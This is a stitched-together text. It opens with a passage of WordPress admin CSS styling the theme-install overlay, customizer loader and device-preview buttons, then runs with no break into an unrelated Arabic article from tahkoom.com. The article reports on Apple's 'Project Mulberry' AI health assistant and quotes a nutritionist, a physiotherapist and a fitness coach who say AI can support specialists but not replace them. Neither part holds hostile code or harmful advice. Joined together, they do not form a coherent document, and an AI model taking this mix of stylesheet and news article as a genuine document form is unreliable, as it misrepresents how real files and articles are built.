	left: 13px;
}

.theme-install-overlay .previous-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f341";
	position: relative;
	top: 6px;
	left: 14px;
}

.theme-install-overlay .next-theme:before {
	font: normal 20px/1 dashicons;
	content: "\f345";
	position: relative;
	top: 6px;
	left: 13px;
}

.theme-install-overlay .previous-theme.disabled,
.theme-install-overlay .next-theme.disabled,
.theme-install-overlay .previous-theme.disabled:hover,
.theme-install-overlay .previous-theme.disabled:focus,
.theme-install-overlay .next-theme.disabled:hover,
.theme-install-overlay .next-theme.disabled:focus {
	color: #c3c4c7;
	background: #f0f0f1;
	cursor: default;
	pointer-events: none;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	border-left: 0;
	border-top: 0;
	border-bottom: 0;
}

.theme-install-overlay .close-full-overlay:before,
.theme-install-overlay .previous-theme:before,
.theme-install-overlay .next-theme:before {
	top: 2px;
	left: 0;
}

/* Collapse Button */
.wp-core-ui .wp-full-overlay .collapse-sidebar {
	position: fixed;
	bottom: 0;
	left: 0;
	padding: 9px 0 9px 10px;
	height: 45px;
	color: #646970;
	outline: 0;
	line-height: 1;
	background-color: transparent !important;
	border: none !important;
	box-shadow: none !important;
	border-radius: 0 !important;
}

.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
	color: #2271b1;
}

.wp-full-overlay .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar-label {
	display: inline-block;
	vertical-align: middle;
	line-height: 1.6;
}

.wp-full-overlay .collapse-sidebar-arrow {
	width: 20px;
	height: 20px;
	margin: 0 2px; /* avoid the focus box-shadow to be cut-off */
	border-radius: 50%;
	overflow: hidden;
}

.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-full-overlay .collapse-sidebar-label {
	margin-left: 3px;
}

.wp-full-overlay.collapsed .collapse-sidebar-label {
	display: none;
}

.wp-full-overlay .collapse-sidebar-arrow:before {
	display: block;
	content: "\f148";
	background: #f0f0f1;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar {
	padding: 9px 10px;
}

/* rtl:ignore */
.wp-full-overlay.collapsed .collapse-sidebar-arrow:before,
.rtl .wp-full-overlay .collapse-sidebar-arrow:before {
	transform: rotate(180.001deg); /* Firefox: promoting to its own layer to trigger anti-aliasing */
}

.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before {
	transform: none;
}

/* Animations */
@media (prefers-reduced-motion: no-preference) {
	.wp-full-overlay,
	.wp-full-overlay-sidebar,
	.wp-full-overlay .collapse-sidebar,
	.wp-full-overlay-main {
		transition-property: left, right, top, bottom, width, margin;
		transition-duration: 0.2s;
	}
}

/* Device/preview size toggles */

.wp-full-overlay {
	background: #1d2327;
}

.wp-full-overlay-main {
	background-color: #f0f0f1;
}

.expanded .wp-full-overlay-footer {
	position: fixed;
	bottom: 0;
	left: 0;
	min-width: 299px;
	max-width: 599px;
	width: 18%;
	width: calc( 18% - 1px );
	height: 45px;
	border-top: 1px solid #dcdcde;
	background: #f0f0f1;
}

.wp-full-overlay-footer .devices-wrapper {
	float: right;
}

.wp-full-overlay-footer .devices {
	position: relative;
	background: #f0f0f1;
	box-shadow: -20px 0 10px -5px #f0f0f1;
}

.wp-full-overlay-footer .devices button {
	cursor: pointer;
	background: transparent;
	border: none;
	height: 45px;
	padding: 0 3px;
	margin: 0 0 0 -4px;
	box-shadow: none;
	border-top: 1px solid transparent;
	border-bottom: 4px solid transparent;
	transition:
		.15s color ease-in-out,
		.15s background-color ease-in-out,
		.15s border-color ease-in-out;
}

.wp-full-overlay-footer .devices button:focus {
	box-shadow: none;
	outline: none;
}

.wp-full-overlay-footer .devices button:before {
	display: inline-block;
	-webkit-font-smoothing: antialiased;
	font: normal 20px/30px "dashicons";
	vertical-align: top;
	margin: 3px 0;
	padding: 4px 8px;
	color: #646970;
}

.wp-full-overlay-footer .devices button.active {
	border-bottom-color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover,
.wp-full-overlay-footer .devices button:focus {
	background-color: #fff;
}

.wp-full-overlay-footer .devices button:focus,
.wp-full-overlay-footer .devices button.active:hover {
	border-bottom-color: #2271b1;
}

.wp-full-overlay-footer .devices button.active:before {
	color: #1d2327;
}

.wp-full-overlay-footer .devices button:hover:before,
.wp-full-overlay-footer .devices button:focus:before {
	color: #2271b1;
}

.wp-full-overlay-footer .devices .preview-desktop:before {
	content: "\f472";
}

.wp-full-overlay-footer .devices .preview-tablet:before {
	content: "\f471";
}

.wp-full-overlay-footer .devices .preview-mobile:before {
	content: "\f470";
}

@media screen and (max-width: 1024px) {
	.wp-full-overlay-footer .devices {
		display: none;
	}
}

.collapsed .wp-full-overlay-footer .devices button:before {
	display: none;
}

.preview-mobile .wp-full-overlay-main {
	margin: auto 0 auto -160px;
	width: 320px;
	height: 480px;
	max-height: 100%;
	max-width: 100%;
	left: 50%;
}

.preview-tablet .wp-full-overlay-main {
	margin: auto 0 auto -360px;
	width: 720px; /* Size is loosely based on a typical "tablet" device size. Intentionally ambiguous - this does not represent any particular device precisely. */
	height: 1080px;
	max-height: 100%;
	max-width: 100%;
	left: 50%;
}


/*------------------------------------------------------------------------------
  24.0 - Customize Loader
------------------------------------------------------------------------------*/

.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

#customize-container,
#customize-controls .notice.notification-overlay {
	background: #f0f0f1;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	height: 100%;
}
#customize-container {
	display: none;
}

/* Make the Customizer and Theme installer overlays the only available content. */
#customize-container,
.theme-install-overlay {
	visibility: visible;
}

.customize-loading #customize-container iframe {
	opacity: 0;
}

#customize-container iframe,
.theme-install-overlay iframe {
	height: 100%;
	width: 100%;
	z-index: 20;
	transition: opacity 0.3s;
}

#customize-controls {
	margin-top: 0;
}

.theme-install-overlay {
	display: none;
}

.theme-install-overlay.single-theme {
	display: block;
}

.install-theme-info {
	display: none;
	padding: 10px 20px 60px;
}

.single-theme .install-theme-info {
	padding-top: 15px;
}

.theme-install-overlay .install-theme-info {
	display: block;
}

.install-theme-info .theme-install {
	float: right;
	margin-top: 18px;
}

.install-theme-info .theme-name {
	font-size: 16px;
	line-height: 1.5;
	margin-bottom: 0;
	margin-top: 0;
}

.install-theme-info .theme-screenshot {
	margin: 15px 0;
	width: 258px;
	border: 1px solid #c3c4c7;
	position: relative;
	overflow: hidden;
}

.install-theme-info .theme-screenshot > img {
	width: 100%;
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
}

.install-theme-info .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666666%;
}

.install-theme-info .theme-details {
	overflow: hidden;
}

.theme-details .theme-version {
	margin: 15px 0;
}

.theme-details .theme-description {
	float: left;
	color: #646970;
	line-height: 1.6;
	max-width: 100%;
}

.theme-install-overlay .wp-full-overlay-header .button {
	float: right;
	margin: 8px 10px 0 0;
}

.theme-install-overlay .wp-full-overlay-sidebar {
	background: #f0f0f1;
	border-right: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-sidebar-content {
	background: #fff;
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
}

.theme-install-overlay .wp-full-overlay-main {
	position: absolute;
	z-index: 0;
	background-color: #f0f0f1;
}

.customize-loading #customize-container {
	background-color: #f0f0f1;
}

#customize-preview.wp-full-overlay-main:before,
.customize-loading #customize-container:before,
#customize-controls .notice.notification-overlay.notification-loading:before,
.theme-install-overlay .wp-full-overlay-main:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	z-index: -1;
	margin: -10px 0 0 -10px;
	transform: translateZ(0);
	background: transparent url(../images/spinner.gif) no-repeat center center;
	background-size: 20px 20px;
}

#customize-preview.wp-full-overlay-main.iframe-ready:before,
.theme-install-overlay.iframe-ready .wp-full-overlay-main:before {
	background-image: none;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.wp-full-overlay .collapse-sidebar-arrow {
		background-image: url(../images/arrows-2x.png);
		background-size: 15px 123px;
	}

	#customize-preview.wp-full-overlay-main:before,
	.customize-loading #customize-container:before,
	#customize-controls .notice.notification-overlay.notification-loading:before,
	.theme-install-overlay .wp-full-overlay-main:before {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	.available-theme .action-links .delete-theme {
		float: none;
		margin: 0;
		padding: 0;
		clear: both;
	}

	.available-theme .action-links .delete-theme a {
		padding: 0;
	}

	.broken-themes table {
		width: 100%;
	}

	.theme-install-overlay .wp-full-overlay-header .button {
		font-size: 13px;
		line-height: 2.15384615;
		min-height: 30px;
	}

	.theme-browser .theme .theme-actions .button {
		margin-bottom: 0;
	}

	.theme-browser .theme.active .theme-actions,
	.theme-browser .theme .theme-actions {
		padding-top: 4px;
		padding-bottom: 4px;
	}

	.upload-theme .wp-upload-form,
	.upload-plugin .wp-upload-form {
		display: block;
	}
}

@media aural {
	.theme .notice:before,
	.theme-info .updating-message:before,
	.theme-info .updated-message:before,
	.theme-install.updating-message:before {
		speak: never;
	}
}
حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟ – tahkoom.com
خدمة

حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟

كتبت: فرح سمير

 مدربك، طبيبك، وخبير التغذية… داخل هاتفك

! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟

 “الذكاء الاصطناعي لا يملك حدسك”

الدكتورة ” إيمان الحجار” استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل

العلاج الطبيعي: دعم لا بديل

أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته

المدرب الرقمي في جيبك…،

 تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.

اظهر المزيد

مقالات ذات صلة

زر الذهاب إلى الأعلى